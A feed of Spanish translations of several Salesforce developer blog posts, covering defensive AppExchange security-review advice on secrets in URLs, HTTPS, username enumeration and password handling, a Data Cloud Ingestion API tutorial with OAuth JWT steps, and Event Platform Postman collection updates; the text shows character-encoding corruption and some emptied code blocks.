  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=”>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=”>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token”>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); “>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }”>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la API de la plataforma de eventos con la colecci贸n extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de informaci贸n y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integraci贸n disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicaci贸n, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colecci贸n de API de la plataforma de Salesforce en Postman. Tambi茅n aprender谩 c贸mo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicaci贸n dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con c贸digo personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma est谩ndar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados autom谩ticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio est谩 vinculado a un objeto de Salesforce est谩ndar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selecci贸n de dos tecnolog铆as de transmisi贸n: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP m谩s moderna . Independientemente de la tecnolog铆a o el tipo de evento, publica o se suscribe a eventos a trav茅s de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisi贸n. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Despu茅s de suscribirse a este canal, recibir谩 notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma est谩ndar.

Adem谩s de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se env铆an en un canal personalizado. Por ejemplo, podr铆a crear un canal espec铆fico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el pa铆s de facturaci贸n es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el c贸digo del lado del cliente, pero tambi茅n ayuda a evitar los l铆mites m谩ximos de suscriptores simult谩neos .

Los canales personalizados de Change Data Capture tambi茅n otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimizaci贸n puede ser problem谩tica en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasar谩n en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se env铆an a Amazon EventBridge a trav茅s de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS tambi茅n pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicaci贸n de Event Relay para obtener m谩s informaci贸n.

Antes del lanzamiento de Summer '23, Event Relay solo se pod铆a configurar a trav茅s de las API. Ahora, hay una interfaz de usuario dedicada en Configuraci贸n. La 煤nica pieza que a煤n necesita crear a trav茅s de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colecci贸n Postman

En junio, actualizamos la colecci贸n de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no est谩 familiarizado con Postman o la colecci贸n de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a trav茅s de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuraci贸n de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creaci贸n, lectura, actualizaci贸n y eliminaci贸n (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las 煤nicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo est谩 disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicaci贸n. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuraci贸n de retransmisi贸n de eventos

La carpeta Configuraci贸n de retransmisi贸n de eventos es donde se encuentran la mayor铆a de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuraci贸n de Event Relay
  • Comentarios de retransmisi贸n de eventos de consultor铆a

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son 煤tiles para recuperar los campos de los eventos.

Lo que nos depara la colecci贸n Postman

Invertimos continuamente en nuestra colecci贸n de API de plataforma y buscamos agregar soporte para la suscripci贸n a eventos de la API Pub Sub. CometD no ser谩 compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el a帽o pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga 煤til, ya que est谩 comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva caracter铆stica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas 煤tiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripci贸n general de Event Platform y las 煤ltimas incorporaciones a la colecci贸n de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar r谩pidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, h谩ganoslo saber. Tambi茅n puede echar un vistazo a nuestras otras colecciones de c贸digo abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

El poder de las m茅tricas de uso mejoradas para optimizar la asignaci贸n de eventos de la plataforma

El poder de las m茅tricas de uso mejoradas para optimizar la asignaci贸n de eventos de la plataforma

脷ltima actualizaci贸n el 6 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • C贸mo monitorear el consumo de eventos de la plataforma seg煤n el nombre del evento, el ID del cliente, el tipo de evento y el tipo de uso

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Obtenga una comprensi贸n integral de los eventos de la plataforma
  • Descubra las ventajas de monitorear los patrones de consumo para la optimizaci贸n del rendimiento del sistema y la identificaci贸n de tendencias de uso
  • Implemente m茅tricas de uso mejoradas para eventos de plataforma a trav茅s de una gu铆a paso a paso
  • Explore los beneficios de monitorear patrones de consumo para optimizar el rendimiento del sistema e identificar tendencias de uso
  • y mucho m谩s

